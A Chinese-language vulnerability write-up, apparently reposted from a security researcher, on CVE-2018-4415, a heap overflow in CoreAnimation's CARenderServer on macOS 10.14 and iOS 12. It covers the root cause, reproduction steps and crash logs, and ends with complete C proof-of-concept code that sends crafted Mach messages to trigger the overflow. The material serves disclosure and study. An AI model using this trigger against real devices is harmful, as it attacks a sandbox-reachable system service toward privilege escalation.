内容简介:受影响的操作系统:
一、漏洞概要
QuartzCore
(即 CoreAnimation
)是macOS及iOS用来构建动画场景图的一个框架。 CoreAnimation
使用了一个独特的渲染模型,以独立进程来运行图形操作。在macOS上,该进程为 WindowServer
,在iOS上,该进程为 backboardd
。这些进程都在沙盒外,能够调用 setuid
。 QuartzCore
服务名通常也称为 CARenderServer
。macOS和iOS上都存在该服务,并且可以从Safari沙盒中访问,因此经常用于各种Pwn2Own场合中。该服务中存在一个整数溢出bug,导致最新的macOS/iOS上的 QuartzCore
存在堆溢出漏洞。
受影响的操作系统:
macOS 10.14 iOS 12.10
二、厂商回复
“ CoreAnimation
漏洞影响:应用程序可能使用系统权限来执行任意代码。已改进内存处理方式,修复该内存破坏问题。“
该漏洞编号为CVE-2018-4415。
三、漏洞细节
该漏洞的根源位于 QuartzCore
的 CA::Render::InterpolatedFunction::InterpolatedFunction
函数中,该函数并没有考虑到整数溢出问题。下面我们会在macOS以及iOS系统上详细介绍这个漏洞细节。
macOS 10.14
在macOS上,有个API( CGSCreateLayerContext
)可以用来打开 CARenderService
(iOS上不存在该API)。攻击者可以向服务端口发送id为 0x9C42
或者 0x9C43
的消息。当进程(实际上为 server_thread
)收到这个特定的消息时,会进入类似反序列化的一个过程。只要提供适当的数据,执行流程将进入 CA::Render::InterpolatedFunction::InterpolatedFunction
函数中。
在上图中,请注意攻击者可以控制 (a)
以及 (b)
处这两个成员的值( CA
使用类似 CA::Render::Decoder::decode*
之类的函数来反序列化对象),在 CA::Render::InterpolatedFunction::allocate_storage
函数中,函数会根据这些值来决定待分配的内存的大小。
在 (d)
处, v3
由 (a)
以及 (b)
处的值来控制,而 (e)
处的 v4
同样由攻击者可控的 (c)
来控制。因此待分配的内存大小为 4 * (v4 + v3)
。然而仔细观察 (f)
,传递给 CA::Render::Decoder::decode_bytes
函数的第3个参数实际上为 4 * v3
。 (f)
处 CA::Render::Decoder::decode_bytes
简化后的形式类似于 memcpy(v2, v8, 4 * v3)
或者 memset(v2, 0, 4 * v3)
。因此,当 4 * (v4 + v3)
溢出而 4 * v3
没有溢出时,就会出现堆溢出问题。大家可以在本文后面的漏洞利用中,观察如何利用攻击者可控的这些值来触发整数溢出问题。
大家可以通过如下步骤,在macOS上复现这个问题:
1、
clang QuartzCoreFunctionIntOverFlow.c -o quartz_core_function_over_flow -framework CoreGraphics
2、 ./quartz_core_function_over_flow
1 Thread 0 Crashed:: Dispatch queue: com.apple.main−thread com.apple.CoreFoundation 0x00007fff332e2daf __CFBasicHashAddValue + 2077 com.apple.CoreFoundation 0x00007fff332e33f5 CFDictionarySetValue + 187 com.apple.SkyLight 0x00007fff595ebfa9 CGXPostPortNotification + 123 com.apple.SkyLight 0x00007fff595eb947 notify_handler + 73 com.apple.SkyLight 0x00007fff595eb2d9 post_port_data + 237 com.apple.SkyLight 0x00007fff595eafba run_one_server_pass + 949 com.apple.SkyLight 0x00007fff595eab90 CGXRunOneServicesPass + 460 com.apple.SkyLight 0x00007fff595eb820 server_loop + 96 com.apple.SkyLight 0x00007fff595eb7b5 SLXServer + 1153 WindowServer 0x000000010011d4c4 0x10011c000 + 5316 libdyld.dylib 0x00007fff6036ced5 start + 1 Thread 2:: com.apple.coreanimation.render−server // CARenderServer thread libsystem_platform.dylib 0x00007fff6056ce09 _platform_bzero$VARIANT$Haswell + 41 com.apple.QuartzCore 0x00007fff3e8ebaa4 CA::Render::Decoder:: decode_bytes(void*, unsigned long) + 46 com.apple.QuartzCore 0x00007fff3e8c35f7 CA::Render::InterpolatedFunction ::InterpolatedFunction(CA::Render::Decoder*) + 191 com.apple.QuartzCore 0x00007fff3e8c3524 CA::Render::Function::decode(CA ::Render::Decoder*) + 224 com.apple.QuartzCore 0x00007fff3e8ecb8a CA::Render::Decoder:: decode_object(CA::Render::Type) + 946 com.apple.QuartzCore 0x00007fff3e8edc8e CA::Render::decode_commands(CA:: Render::Decoder*) + 871 com.apple.QuartzCore 0x00007fff3e896422 CA::Render::Server:: ReceivedMessage::run_command_stream() + 748 com.apple.QuartzCore 0x00007fff3e73d2e1 CA::Render::Server:: server_thread(void*) + 1841 com.apple.QuartzCore 0x00007fff3e91427c thread_fun(void*) + 25 libsystem_pthread.dylib 0x00007fff60572795 _pthread_body + 159 libsystem_pthread.dylib 0x00007fff605726e2 _pthread_start + 70 libsystem_pthread.dylib 0x00007fff605722a9 thread_start + 13
iOS 12.10
由于这个问题的原因非常清楚,并且iOS和macOS上的代码基本一致,因此在这部分内容中,我们只讨论iOS和macOS上的一些不同点。
1、iOS上不存在类似 CGSCreateLayerContext
之类的API,不能直接获取 CoreAnimation
渲染上下文,但经过一番探索后,我们发现可以使用 _XRegisterClient
这个MIG函数来替代 CGSCreateLayerContext
。首先,攻击者需要打开 com.apple.CARenderServer
服务(可以在沙盒中访问该服务),然后调用通过 mach_msg
发送id为 40202
的消息来调用 _XRegisterClient
;
2、如果想在iOS 12 beta系统上复现该问题,需要使用最新版的1Xcode-beta(使用最新的SDK);
3、请按照www.malhal.com的说明导入 IOKit
框架头部。请注意,这里应该将目标目录改为Xcode-beta应用所在的目录;
4、代码位于应用程序的 didFinishLaunchingWithOptions
函数中,会在应用程序启动时触发;
5、当应用安装后,启动 applicationios-sbe
即可。
1 Thread 3 name: com.apple.coreanimation.render−server // CARenderServer thread 2 Thread 3: 0 libsystem_platform.dylib 0x000000018fefe584 0x18fef6000 + 34180 1 QuartzCore 0x0000000194a6e1d4 0x19491e000 + 1376724 2 QuartzCore 0x0000000194a21a58 0x19491e000 + 1063512 3 QuartzCore 0x0000000194a710b8 0x19491e000 + 1388728 4 QuartzCore 0x0000000194a719c0 0x19491e000 + 1391040 5 QuartzCore 0x00000001949fb140 0x19491e000 + 905536 6 QuartzCore 0x00000001949facdc 0x19491e000 + 904412 7 QuartzCore 0x0000000194ab65c8 0x19491e000 + 1672648 8 libsystem_pthread.dylib 0x000000018ff0c26c 0x18ff01000 + 45676 9 libsystem_pthread.dylib 0x000000018ff0c1b0 0x18ff01000 + 45488 10 libsystem_pthread.dylib 0x000000018ff0fd20 0x18ff01000 + 60704 Thread 13 name: Dispatch queue: com.apple.libdispatch−manager Thread 13 Crashed: 0 libdispatch.dylib 0x000000018fd18514 0x18fcca000 + 320788 1 libdispatch.dylib 0x000000018fd1606c 0x18fcca000 + 311404 2 libdispatch.dylib 0x000000018fd1606c 0x18fcca000 + 311404 3 libdispatch.dylib 0x000000018fd0f1ac 0x18fcca000 + 283052 4 libsystem_pthread.dylib 0x000000018ff0d078 0x18ff01000 + 49272 5 libsystem_pthread.dylib 0x000000018ff0fd18 0x18ff01000 + 60696
四、利用代码
/** * Brief: Integer overflow in CoreAnimation, CVE-2018-4415 * Usage: * 1. clang FunctionIntOverFlow.c -o function_over_flow * 2. ./function_over_flow * * Specifically, `CA::Render::InterpolatedFunction::allocate_storage` function in QuartzCore does * not do any check for integer overflow in expression |result = (char *)malloc(4 * (v4 + v3));|. * * The bug has been fixed in macOS 10.14.1 and iOS 12.1, since the interfaces and structure of * messages are inconsistent between different versions, this PoC may only work on macOS 10.14 and * iOS 12.0, but it's very easy to replant it to another versions. * * Tips for debugging on macOS: Turn Mac to sleep mode and ssh to the target machine, this may * help you concentrate on your work. * * One more: Mach service com.apple.CARenderServer is reacheable from Safari sandbox on both macOS * and iOS. com.apple.windowserver.active accurately on macOS versions prior to macOS 10.14. */ #include <dlfcn.h> #include <mach/mach.h> #include <stdio.h> #include <unistd.h> static void do_int_overflow() { mach_port_t p = MACH_PORT_NULL, bs_port = MACH_PORT_NULL; task_get_bootstrap_port(mach_task_self(), &bs_port); const char *render_service_name = "com.apple.CARenderServer"; kern_return_t (*bootstrap_look_up)(mach_port_t, const char *, mach_port_t *) = dlsym(RTLD_DEFAULT, "bootstrap_look_up"); kern_return_t kr = bootstrap_look_up(bs_port, render_service_name, &p); if (kr != KERN_SUCCESS) { printf("[-] Cannot get service of %s, %s!n", render_service_name, mach_error_string(kr)); return; } typedef struct quartz_register_client_s quartz_register_client_t; struct quartz_register_client_s { mach_msg_header_t header; uint32_t body; mach_msg_port_descriptor_t ports[4]; char padding[12]; }; quartz_register_client_t msg_register; memset(&msg_register, 0, sizeof(msg_register)); msg_register.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) | MACH_MSGH_BITS_COMPLEX; msg_register.header.msgh_remote_port = p; msg_register.header.msgh_local_port = mig_get_reply_port(); msg_register.header.msgh_id = 40202; // _XRegisterClient msg_register.body = 4; msg_register.ports[0].name = mach_task_self(); msg_register.ports[0].disposition = MACH_MSG_TYPE_COPY_SEND; msg_register.ports[0].type = MACH_MSG_PORT_DESCRIPTOR; msg_register.ports[1].name = mach_task_self(); msg_register.ports[1].disposition = MACH_MSG_TYPE_COPY_SEND; msg_register.ports[1].type = MACH_MSG_PORT_DESCRIPTOR; msg_register.ports[2].name = mach_task_self(); msg_register.ports[2].disposition = MACH_MSG_TYPE_COPY_SEND; msg_register.ports[2].type = MACH_MSG_PORT_DESCRIPTOR; msg_register.ports[3].name = mach_task_self(); msg_register.ports[3].disposition = MACH_MSG_TYPE_COPY_SEND; msg_register.ports[3].type = MACH_MSG_PORT_DESCRIPTOR; kr = mach_msg(&msg_register.header, MACH_SEND_MSG | MACH_RCV_MSG, sizeof(quartz_register_client_t), sizeof(quartz_register_client_t), msg_register.header.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (kr != KERN_SUCCESS) { printf("[-] Send message failed: %sn", mach_error_string(kr)); return; } mach_port_t context_port = *(uint32_t *)((uint8_t *)&msg_register + 0x1c); uint32_t conn_id = *(uint32_t *)((uint8_t *)&msg_register + 0x30); typedef struct quartz_function_int_overflow_s quartz_function_int_overflow_t; struct quartz_function_int_overflow_s { mach_msg_header_t header; char msg_body[0x60]; }; quartz_function_int_overflow_t function_int_overflow_msg = {0}; function_int_overflow_msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX; function_int_overflow_msg.header.msgh_remote_port = context_port; function_int_overflow_msg.header.msgh_id = 40002; memset(function_int_overflow_msg.msg_body, 0x0, sizeof(function_int_overflow_msg.msg_body)); *(uint32_t *)(function_int_overflow_msg.msg_body + 0) = 0x1; // Ports count /** * 1. One port consumes 12B space * 2. This `mach_msg` routine dose not need a port, so set this port to MACH_PORT_NULL(memory * cleared by memset) */ *(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 0) = 0xdeadbeef; *(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 4) = conn_id; *(int8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16) = 2; *(uint64_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 1) = 0xdeadbeefdeadbeef; *(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 9) = 0xffffffff; *(uint8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 13) = 0x12; // Decode Function *(uint8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 14) = 0x2; /**(uint32_t*)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 15) = 0xDECAFBAD;*/ *(uint64_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 15) = 0x2000000000000000; *(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 23) = 1; *(uint32_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 27) = 2; *(uint8_t *)(function_int_overflow_msg.msg_body + 4 + 12 + 16 + 31) = 1; kr = mach_msg(&function_int_overflow_msg.header, MACH_SEND_MSG, sizeof(function_int_overflow_msg), 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (kr != KERN_SUCCESS) { printf("[-] Send message failed: %sn", mach_error_string(kr)); return; } return; } int main() { do_int_overflow(); return 0; }
以上所述就是小编给大家介绍的《如何利用QuartzCore堆溢出实现iOS/macOS Safari沙盒逃逸》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
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